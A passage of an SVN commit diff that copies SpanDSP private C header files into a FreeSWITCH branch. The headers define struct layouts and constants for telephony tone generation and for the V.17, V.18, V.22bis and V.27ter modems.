+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/tone_detect.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,32 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/tone_detect.h - General telephony tone detection.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2001, 2005 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: tone_detect.h,v 1.1 2008/11/30 10:17:31 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_TONE_DETECT_H_)
+#define _SPANDSP_PRIVATE_TONE_DETECT_H_
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/tone_generate.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/tone_generate.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/tone_generate.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/tone_generate.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/tone_generate.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,68 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/tone_generate.h - General telephony tone generation.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2001 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: tone_generate.h,v 1.1 2008/11/30 10:17:31 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_TONE_GENERATE_H_)
+#define _SPANDSP_PRIVATE_TONE_GENERATE_H_
+
+struct tone_gen_tone_descriptor_s
+{
+    int32_t phase_rate;
+#if defined(SPANDSP_USE_FIXED_POINT)
+    int16_t gain;
+#else
+    float gain;
+#endif
+};
+
+/*!
+    Cadenced multi-tone generator descriptor.
+*/
+struct tone_gen_descriptor_s
+{
+    tone_gen_tone_descriptor_t tone[4];
+    int duration[4];
+    int repeat;
+};
+
+/*!
+    Cadenced multi-tone generator state descriptor. This defines the state of
+    a single working instance of a generator.
+*/
+struct tone_gen_state_s
+{
+    tone_gen_tone_descriptor_t tone[4];
+
+    uint32_t phase[4];
+    int duration[4];
+    int repeat;
+
+    int current_section;
+    int current_position;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v17rx.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v17rx.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/v17rx.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v17rx.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v17rx.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,229 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/v17rx.h - ITU V.17 modem receive part
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2003 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: v17rx.h,v 1.2 2009/07/09 13:52:09 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_V17RX_H_)
+#define _SPANDSP_PRIVATE_V17RX_H_
+
+/* Target length for the equalizer is about 63 taps, to deal with the worst stuff
+   in V.56bis. */
+/*! Samples before the target position in the equalizer buffer */
+#define V17_EQUALIZER_PRE_LEN       8
+/*! Samples after the target position in the equalizer buffer */
+#define V17_EQUALIZER_POST_LEN      8
+
+/*! The number of taps in the pulse shaping/bandpass filter */
+#define V17_RX_FILTER_STEPS         27
+
+/* We can store more trellis depth that we look back over, so that we can push out a group
+   of symbols in one go, giving greater processing efficiency, at the expense of a bit more
+   latency through the modem. */
+/* Right now we don't take advantage of this optimisation. */
+/*! The depth of the trellis buffer */
+#define V17_TRELLIS_STORAGE_DEPTH   16
+/*! How far we look back into history for trellis decisions */
+#define V17_TRELLIS_LOOKBACK_DEPTH  16
+
+/*!
+    V.17 modem receive side descriptor. This defines the working state for a
+    single instance of a V.17 modem receiver.
+*/
+struct v17_rx_state_s
+{
+    /*! \brief The bit rate of the modem. Valid values are 7200 9600, 12000 and 14400. */
+    int bit_rate;
+    /*! \brief The callback function used to put each bit received. */
+    put_bit_func_t put_bit;
+    /*! \brief A user specified opaque pointer passed to the put_but routine. */
+    void *put_bit_user_data;
+
+    /*! \brief The callback function used to report modem status changes. */
+    modem_rx_status_func_t status_handler;
+    /*! \brief A user specified opaque pointer passed to the status function. */
+    void *status_user_data;
+
+    /*! \brief A callback function which may be enabled to report every symbol's
+               constellation position. */
+    qam_report_handler_t qam_report;
+    /*! \brief A user specified opaque pointer passed to the qam_report callback
+               routine. */
+    void *qam_user_data;
+
+    /*! \brief The route raised cosine (RRC) pulse shaping filter buffer. */
+#if defined(SPANDSP_USE_FIXED_POINT)
+    int16_t rrc_filter[V17_RX_FILTER_STEPS];
+#else
+    float rrc_filter[V17_RX_FILTER_STEPS];
+#endif
+    /*! \brief Current offset into the RRC pulse shaping filter buffer. */
+    int rrc_filter_step;
+
+    /*! \brief The state of the differential decoder */
+    int diff;
+    /*! \brief The register for the data scrambler. */
+    unsigned int scramble_reg;
+    /*! \brief TRUE if the short training sequence is to be used. */
+    int short_train;
+    /*! \brief The section of the training data we are currently in. */
+    int training_stage;
+    /*! \brief A count of how far through the current training step we are. */
+    int training_count;
+    /*! \brief A measure of how much mismatch there is between the real constellation,
+        and the decoded symbol positions. */
+    float training_error;
+    /*! \brief The value of the last signal sample, using the a simple HPF for signal power estimation. */
+    int16_t last_sample;
+    /*! \brief >0 if a signal above the minimum is present. It may or may not be a V.17 signal. */
+    int signal_present;
+    /*! \brief Whether or not a carrier drop was detected and the signal delivery is pending. */
+    int carrier_drop_pending;
+    /*! \brief A count of the current consecutive samples below the carrier off threshold. */
+    int low_samples;
+    /*! \brief A highest magnitude sample seen. */
+    int16_t high_sample;
+
+    /*! \brief The current phase of the carrier (i.e. the DDS parameter). */
+    uint32_t carrier_phase;
+    /*! \brief The update rate for the phase of the carrier (i.e. the DDS increment). */
+    int32_t carrier_phase_rate;
+    /*! \brief The carrier update rate saved for reuse when using short training. */
+    int32_t carrier_phase_rate_save;
+#if defined(SPANDSP_USE_FIXED_POINTx)
+    /*! \brief The proportional part of the carrier tracking filter. */
+    float carrier_track_p;
+    /*! \brief The integral part of the carrier tracking filter. */
+    float carrier_track_i;
+#else
+    /*! \brief The proportional part of the carrier tracking filter. */
+    float carrier_track_p;
+    /*! \brief The integral part of the carrier tracking filter. */
+    float carrier_track_i;
+#endif
+
+    /*! \brief A power meter, to measure the HPF'ed signal power in the channel. */    
+    power_meter_t power;
+    /*! \brief The power meter level at which carrier on is declared. */
+    int32_t carrier_on_power;
+    /*! \brief The power meter level at which carrier off is declared. */
+    int32_t carrier_off_power;
+
+    /*! \brief Current read offset into the equalizer buffer. */
+    int eq_step;
+    /*! \brief Current write offset into the equalizer buffer. */
+    int eq_put_step;
+    /*! \brief Symbol counter to the next equalizer update. */
+    int eq_skip;
+
+    /*! \brief The current half of the baud. */
+    int baud_half;
+
+#if defined(SPANDSP_USE_FIXED_POINTx)
+    /*! \brief The scaling factor accessed by the AGC algorithm. */
+    float agc_scaling;
+    /*! \brief The previous value of agc_scaling, needed to reuse old training. */
+    float agc_scaling_save;
+
+    /*! \brief The current delta factor for updating the equalizer coefficients. */
+    float eq_delta;
+    /*! \brief The adaptive equalizer coefficients. */
+    complexi16_t eq_coeff[V17_EQUALIZER_PRE_LEN + 1 + V17_EQUALIZER_POST_LEN];
+    /*! \brief A saved set of adaptive equalizer coefficients for use after restarts. */
+    complexi16_t eq_coeff_save[V17_EQUALIZER_PRE_LEN + 1 + V17_EQUALIZER_POST_LEN];
+    /*! \brief The equalizer signal buffer. */
+    complexi16_t eq_buf[V17_EQUALIZER_PRE_LEN + 1 + V17_EQUALIZER_POST_LEN];
+
+    /*! Low band edge filter for symbol sync. */
+    int32_t symbol_sync_low[2];
+    /*! High band edge filter for symbol sync. */
+    int32_t symbol_sync_high[2];
+    /*! DC filter for symbol sync. */
+    int32_t symbol_sync_dc_filter[2];
+    /*! Baud phase for symbol sync. */
+    int32_t baud_phase;
+#else
+    /*! \brief The scaling factor accessed by the AGC algorithm. */
+    float agc_scaling;
+    /*! \brief The previous value of agc_scaling, needed to reuse old training. */
+    float agc_scaling_save;
+
+    /*! \brief The current delta factor for updating the equalizer coefficients. */
+    float eq_delta;
+    /*! \brief The adaptive equalizer coefficients. */
+    complexf_t eq_coeff[V17_EQUALIZER_PRE_LEN + 1 + V17_EQUALIZER_POST_LEN];
+    /*! \brief A saved set of adaptive equalizer coefficients for use after restarts. */
+    complexf_t eq_coeff_save[V17_EQUALIZER_PRE_LEN + 1 + V17_EQUALIZER_POST_LEN];
+    /*! \brief The equalizer signal buffer. */
+    complexf_t eq_buf[V17_EQUALIZER_PRE_LEN + 1 + V17_EQUALIZER_POST_LEN];
+
+    /*! Low band edge filter for symbol sync. */
+    float symbol_sync_low[2];
+    /*! High band edge filter for symbol sync. */
+    float symbol_sync_high[2];
+    /*! DC filter for symbol sync. */
+    float symbol_sync_dc_filter[2];
+    /*! Baud phase for symbol sync. */
+    float baud_phase;
+#endif
+
+    /*! \brief The total symbol timing correction since the carrier came up.
+               This is only for performance analysis purposes. */
+    int total_baud_timing_correction;
+
+    /*! \brief Starting phase angles for the coarse carrier aquisition step. */
+    int32_t start_angles[2];
+    /*! \brief History list of phase angles for the coarse carrier aquisition step. */
+    int32_t angles[16];
+    /*! \brief A pointer to the current constellation. */
+#if defined(SPANDSP_USE_FIXED_POINTx)
+    const complexi16_t *constellation;
+#else
+    const complexf_t *constellation;
+#endif
+    /*! \brief A pointer to the current space map. There is a space map for
+               each trellis state. */
+    int space_map;
+    /*! \brief The number of bits in each symbol at the current bit rate. */
+    int bits_per_symbol;
+
+    /*! \brief Current pointer to the trellis buffers */
+    int trellis_ptr;
+    /*! \brief The trellis. */
+    int full_path_to_past_state_locations[V17_TRELLIS_STORAGE_DEPTH][8];
+    /*! \brief The trellis. */
+    int past_state_locations[V17_TRELLIS_STORAGE_DEPTH][8];
+    /*! \brief Euclidean distances (actually the squares of the distances)
+               from the last states of the trellis. */
+#if defined(SPANDSP_USE_FIXED_POINTx)
+    uint32_t distances[8];
+#else
+    float distances[8];
+#endif
+    /*! \brief Error and flow logging control */
+    logging_state_t logging;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v17tx.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v17tx.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/v17tx.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v17tx.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v17tx.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,109 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/v17tx.h - ITU V.17 modem transmit part
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2004 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: v17tx.h,v 1.2 2009/07/09 13:52:09 steveu Exp $
+ */
+
+/*! \file */
+
+#if !defined(_SPANDSP_PRIVATE_V17TX_H_)
+#define _SPANDSP_PRIVATE_V17TX_H_
+
+/*! The number of taps in the pulse shaping/bandpass filter */
+#define V17_TX_FILTER_STEPS     9
+
+/*!
+    V.17 modem transmit side descriptor. This defines the working state for a
+    single instance of a V.17 modem transmitter.
+*/
+struct v17_tx_state_s
+{
+    /*! \brief The bit rate of the modem. Valid values are 4800, 7200 and 9600. */
+    int bit_rate;
+    /*! \brief The callback function used to get the next bit to be transmitted. */
+    get_bit_func_t get_bit;
+    /*! \brief A user specified opaque pointer passed to the get_bit function. */
+    void *get_bit_user_data;
+
+    /*! \brief The callback function used to report modem status changes. */
+    modem_tx_status_func_t status_handler;
+    /*! \brief A user specified opaque pointer passed to the status function. */
+    void *status_user_data;
+
+    /*! \brief The gain factor needed to achieve the specified output power. */
+#if defined(SPANDSP_USE_FIXED_POINT)
+    int32_t gain;
+#else
+    float gain;
+#endif
+
+    /*! \brief The route raised cosine (RRC) pulse shaping filter buffer. */
+#if defined(SPANDSP_USE_FIXED_POINT)
+    complexi16_t rrc_filter[2*V17_TX_FILTER_STEPS];
+#else
+    complexf_t rrc_filter[2*V17_TX_FILTER_STEPS];
+#endif
+    /*! \brief Current offset into the RRC pulse shaping filter buffer. */
+    int rrc_filter_step;
+
+    /*! \brief The current state of the differential encoder. */
+    int diff;
+    /*! \brief The current state of the convolutional encoder. */
+    int convolution;
+
+    /*! \brief The register for the data scrambler. */
+    unsigned int scramble_reg;
+    /*! \brief TRUE if transmitting the training sequence. FALSE if transmitting user data. */
+    int in_training;
+    /*! \brief TRUE if the short training sequence is to be used. */
+    int short_train;
+    /*! \brief A counter used to track progress through sending the training sequence. */
+    int training_step;
+
+    /*! \brief The current phase of the carrier (i.e. the DDS parameter). */
+    uint32_t carrier_phase;
+    /*! \brief The update rate for the phase of the carrier (i.e. the DDS increment). */
+    int32_t carrier_phase_rate;
+    /*! \brief The current fractional phase of the baud timing. */
+    int baud_phase;
+    /*! \brief The code number for the current position in the constellation. */
+    int constellation_state;
+    
+    /*! \brief A pointer to the constellation currently in use. */
+#if defined(SPANDSP_USE_FIXED_POINT)
+    const complexi16_t *constellation;
+#else
+    const complexf_t *constellation;
+#endif
+    /*! \brief The current number of data bits per symbol. This does not include
+               the redundant bit. */
+    int bits_per_symbol;
+    /*! \brief The get_bit function in use at any instant. */
+    get_bit_func_t current_get_bit;
+    /*! \brief Error and flow logging control */
+    logging_state_t logging;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v18.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v18.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/v18.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v18.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v18.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,67 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/v18.h - V.18 text telephony for the deaf.
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2004-2009 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: v18.h,v 1.4 2009/04/11 15:16:14 steveu Exp $
+ */
+ 
+#if !defined(_SPANDSP_PRIVATE_V18_H_)
+#define _SPANDSP_PRIVATE_V18_H_
+
+struct v18_state_s
+{
+    /*! \brief TRUE if we are the calling modem */
+    int caller;
+    int mode;
+    put_msg_func_t put_msg;
+    void *user_data;
+
+    union
+    {
+        queue_state_t queue;
+        uint8_t buf[QUEUE_STATE_T_SIZE(128)];
+    } queue;
+    tone_gen_descriptor_t alert_tone_desc;
+    tone_gen_state_t alert_tone_gen;
+    fsk_tx_state_t fsktx;
+    dtmf_tx_state_t dtmftx;
+    async_tx_state_t asynctx;
+    int baudot_tx_shift;
+    int tx_signal_on;
+    int byte_no;
+
+    fsk_rx_state_t fskrx;
+    dtmf_rx_state_t dtmfrx;
+    int baudot_rx_shift;
+    int consecutive_ones;
+    uint8_t rx_msg[256 + 1];
+    int rx_msg_len;
+    int bit_pos;
+    int in_progress;
+
+    /*! \brief Error and flow logging control */
+    logging_state_t logging;
+};
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v22bis.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v22bis.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/v22bis.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v22bis.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v22bis.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,244 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/v22bis.h - ITU V.22bis modem
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2004 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: v22bis.h,v 1.11 2009/07/09 13:52:09 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_V22BIS_H_)
+#define _SPANDSP_PRIVATE_V22BIS_H_
+
+/*! The number of steps to the left and to the right of the target position in the equalizer buffer. */
+#define V22BIS_EQUALIZER_LEN    7
+/*! One less than a power of 2 >= (2*V22BIS_EQUALIZER_LEN + 1) */
+#define V22BIS_EQUALIZER_MASK   15
+
+/*! The number of taps in the transmit pulse shaping filter */
+#define V22BIS_TX_FILTER_STEPS  9
+
+/*! The number of taps in the receive pulse shaping/bandpass filter */
+#define V22BIS_RX_FILTER_STEPS  37
+
+/*! Segments of the training sequence on the receive side */
+enum
+{
+    V22BIS_RX_TRAINING_STAGE_NORMAL_OPERATION,
+    V22BIS_RX_TRAINING_STAGE_SYMBOL_ACQUISITION,
+    V22BIS_RX_TRAINING_STAGE_LOG_PHASE,
+    V22BIS_RX_TRAINING_STAGE_UNSCRAMBLED_ONES,
+    V22BIS_RX_TRAINING_STAGE_UNSCRAMBLED_ONES_SUSTAINING,
+    V22BIS_RX_TRAINING_STAGE_SCRAMBLED_ONES_AT_1200,
+    V22BIS_RX_TRAINING_STAGE_SCRAMBLED_ONES_AT_1200_SUSTAINING,
+    V22BIS_RX_TRAINING_STAGE_WAIT_FOR_SCRAMBLED_ONES_AT_2400,
+    V22BIS_RX_TRAINING_STAGE_PARKED
+};
+
+/*! Segments of the training sequence on the transmit side */
+enum
+{
+    V22BIS_TX_TRAINING_STAGE_NORMAL_OPERATION = 0,
+    V22BIS_TX_TRAINING_STAGE_INITIAL_TIMED_SILENCE,
+    V22BIS_TX_TRAINING_STAGE_INITIAL_SILENCE,
+    V22BIS_TX_TRAINING_STAGE_U11,
+    V22BIS_TX_TRAINING_STAGE_U0011,
+    V22BIS_TX_TRAINING_STAGE_S11,
+    V22BIS_TX_TRAINING_STAGE_TIMED_S11,
+    V22BIS_TX_TRAINING_STAGE_S1111,
+    V22BIS_TX_TRAINING_STAGE_PARKED
+};
+
+/*!
+    V.22bis modem descriptor. This defines the working state for a single instance
+    of a V.22bis modem.
+*/
+struct v22bis_state_s
+{
+    /*! \brief The maximum permitted bit rate of the modem. Valid values are 1200 and 2400. */
+    int bit_rate;
+    /*! \brief TRUE is this is the calling side modem. */
+    int caller;
+    /*! \brief The callback function used to get the next bit to be transmitted. */
+    get_bit_func_t get_bit;
+    /*! \brief A user specified opaque pointer passed to the get_bit callback routine. */
+    void *get_bit_user_data;
+    /*! \brief The callback function used to put each bit received. */
+    put_bit_func_t put_bit;
+    /*! \brief A user specified opaque pointer passed to the put_bit callback routine. */
+    void *put_bit_user_data;
+    /*! \brief The callback function used to report modem status changes. */
+    modem_rx_status_func_t status_handler;
+    /*! \brief A user specified opaque pointer passed to the status function. */
+    void *status_user_data;
+
+    int negotiated_bit_rate;
+
+    /* Receive section */
+    struct
+    {
+        /*! \brief The route raised cosine (RRC) pulse shaping filter buffer. */
+        float rrc_filter[2*V22BIS_RX_FILTER_STEPS];
+        /*! \brief Current offset into the RRC pulse shaping filter buffer. */
+        int rrc_filter_step;
+
+        /*! \brief The register for the data scrambler. */
+        unsigned int scramble_reg;
+        /*! \brief A counter for the number of consecutive bits of repeating pattern through
+                   the scrambler. */
+        int scrambler_pattern_count;
+
+        /*! \brief 0 if receiving user data. A training stage value during training */
+        int training;
+        /*! \brief A count of how far through the current training step we are. */
+        int training_count;
+
+        /*! \brief >0 if a signal above the minimum is present. It may or may not be a V.22bis signal. */
+        int signal_present;
+
+        /*! \brief A measure of how much mismatch there is between the real constellation,
+            and the decoded symbol positions. */
+        float training_error;
+
+        /*! \brief The current phase of the carrier (i.e. the DDS parameter). */
+        uint32_t carrier_phase;
+        /*! \brief The update rate for the phase of the carrier (i.e. the DDS increment). */
+        int32_t carrier_phase_rate;
+        /*! \brief The proportional part of the carrier tracking filter. */
+        float carrier_track_p;
+        /*! \brief The integral part of the carrier tracking filter. */
+        float carrier_track_i;
+        
+        /*! \brief A callback function which may be enabled to report every symbol's
+                   constellation position. */
+        qam_report_handler_t qam_report;
+        /*! \brief A user specified opaque pointer passed to the qam_report callback
+                   routine. */
+        void *qam_user_data;
+
+        /*! \brief A power meter, to measure the HPF'ed signal power in the channel. */    
+        power_meter_t rx_power;
+        /*! \brief The power meter level at which carrier on is declared. */
+        int32_t carrier_on_power;
+        /*! \brief The power meter level at which carrier off is declared. */
+        int32_t carrier_off_power;
+        /*! \brief The scaling factor accessed by the AGC algorithm. */
+        float agc_scaling;
+    
+        int constellation_state;
+
+        /*! \brief The current delta factor for updating the equalizer coefficients. */
+        float eq_delta;
+#if defined(SPANDSP_USE_FIXED_POINTx)
+        /*! \brief The adaptive equalizer coefficients. */
+        complexi_t eq_coeff[2*V22BIS_EQUALIZER_LEN + 1];
+        /*! \brief The equalizer signal buffer. */
+        complexi_t eq_buf[V22BIS_EQUALIZER_MASK + 1];
+#else
+        complexf_t eq_coeff[2*V22BIS_EQUALIZER_LEN + 1];
+        complexf_t eq_buf[V22BIS_EQUALIZER_MASK + 1];
+#endif
+        /*! \brief Current offset into the equalizer buffer. */
+        int eq_step;
+        /*! \brief Current write offset into the equalizer buffer. */
+        int eq_put_step;
+
+        /*! \brief Integration variable for damping the Gardner algorithm tests. */
+        int gardner_integrate;
+        /*! \brief Current step size of Gardner algorithm integration. */
+        int gardner_step;
+        /*! \brief The total symbol timing correction since the carrier came up.
+                   This is only for performance analysis purposes. */
+        int total_baud_timing_correction;
+        /*! \brief The current fractional phase of the baud timing. */
+        int baud_phase;
+    
+        int sixteen_way_decisions;
+
+        int pattern_repeats;
+        int last_raw_bits;
+    } rx;
+
+    /* Transmit section */
+    struct
+    {
+        /*! \brief The gain factor needed to achieve the specified output power. */
+        float gain;
+
+        /*! \brief The route raised cosine (RRC) pulse shaping filter buffer. */
+        complexf_t rrc_filter[2*V22BIS_TX_FILTER_STEPS];
+        /*! \brief Current offset into the RRC pulse shaping filter buffer. */
+        int rrc_filter_step;
+
+        /*! \brief The register for the data scrambler. */
+        unsigned int scramble_reg;
+        /*! \brief A counter for the number of consecutive bits of repeating pattern through
+                   the scrambler. */
+        int scrambler_pattern_count;
+
+        /*! \brief 0 if transmitting user data. A training stage value during training */
+        int training;
+        /*! \brief A counter used to track progress through sending the training sequence. */
+        int training_count;
+        /*! \brief The current phase of the carrier (i.e. the DDS parameter). */
+        uint32_t carrier_phase;
+        /*! \brief The update rate for the phase of the carrier (i.e. the DDS increment). */
+        int32_t carrier_phase_rate;
+        /*! \brief The current phase of the guard tone (i.e. the DDS parameter). */
+        uint32_t guard_phase;
+        /*! \brief The update rate for the phase of the guard tone (i.e. the DDS increment). */
+        int32_t guard_phase_rate;
+        float guard_level;
+        /*! \brief The current fractional phase of the baud timing. */
+        int baud_phase;
+        /*! \brief The code number for the current position in the constellation. */
+        int constellation_state;
+        /*! \brief An indicator to mark that we are tidying up to stop transmission. */
+        int shutdown;
+        /*! \brief The get_bit function in use at any instant. */
+        get_bit_func_t current_get_bit;
+    } tx;
+
+    /*! \brief Error and flow logging control */
+    logging_state_t logging;
+};
+
+#if defined(__cplusplus)
+extern "C"
+{
+#endif
+
+/*! Reinitialise an existing V.22bis modem receive context.
+    \brief Reinitialise an existing V.22bis modem receive context.
+    \param s The modem context.
+    \return 0 for OK, -1 for bad parameter */
+int v22bis_rx_restart(v22bis_state_t *s);
+
+void v22bis_report_status_change(v22bis_state_t *s, int status);
+
+void v22bis_equalizer_coefficient_reset(v22bis_state_t *s);
+
+#if defined(__cplusplus)
+}
+#endif
+
+#endif
+/*- End of file ------------------------------------------------------------*/

Deleted: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v27ter_rx.h

Copied: freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v27ter_rx.h (from rev 14471, freeswitch/trunk/libs/spandsp/src/spandsp/private/v27ter_rx.h) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v27ter_rx.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/private/v27ter_rx.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,196 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * private/v27ter_rx.h - ITU V.27ter modem receive part
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2003 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU Lesser General Public License version 2.1,
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: v27ter_rx.h,v 1.2 2009/07/09 13:52:09 steveu Exp $
+ */
+
+#if !defined(_SPANDSP_PRIVATE_V27TER_RX_H_)
+#define _SPANDSP_PRIVATE_V27TER_RX_H_
+
+/* Target length for the equalizer is about 43 taps for 4800bps and 32 taps for 2400bps
+   to deal with the worst stuff in V.56bis. */
+/*! Samples before the target position in the equalizer buffer */
+#define V27TER_EQUALIZER_PRE_LEN        16  /* This much before the real event */
+/*! Samples after the target position in the equalizer buffer */
+#define V27TER_EQUALIZER_POST_LEN       14  /* This much after the real event (must be even) */
+
+/*! The number of taps in the 4800bps pulse shaping/bandpass filter */
+#define V27TER_RX_4800_FILTER_STEPS     27
+/*! The number of taps in the 2400bps pulse shaping/bandpass filter */
+#define V27TER_RX_2400_FILTER_STEPS     27
+
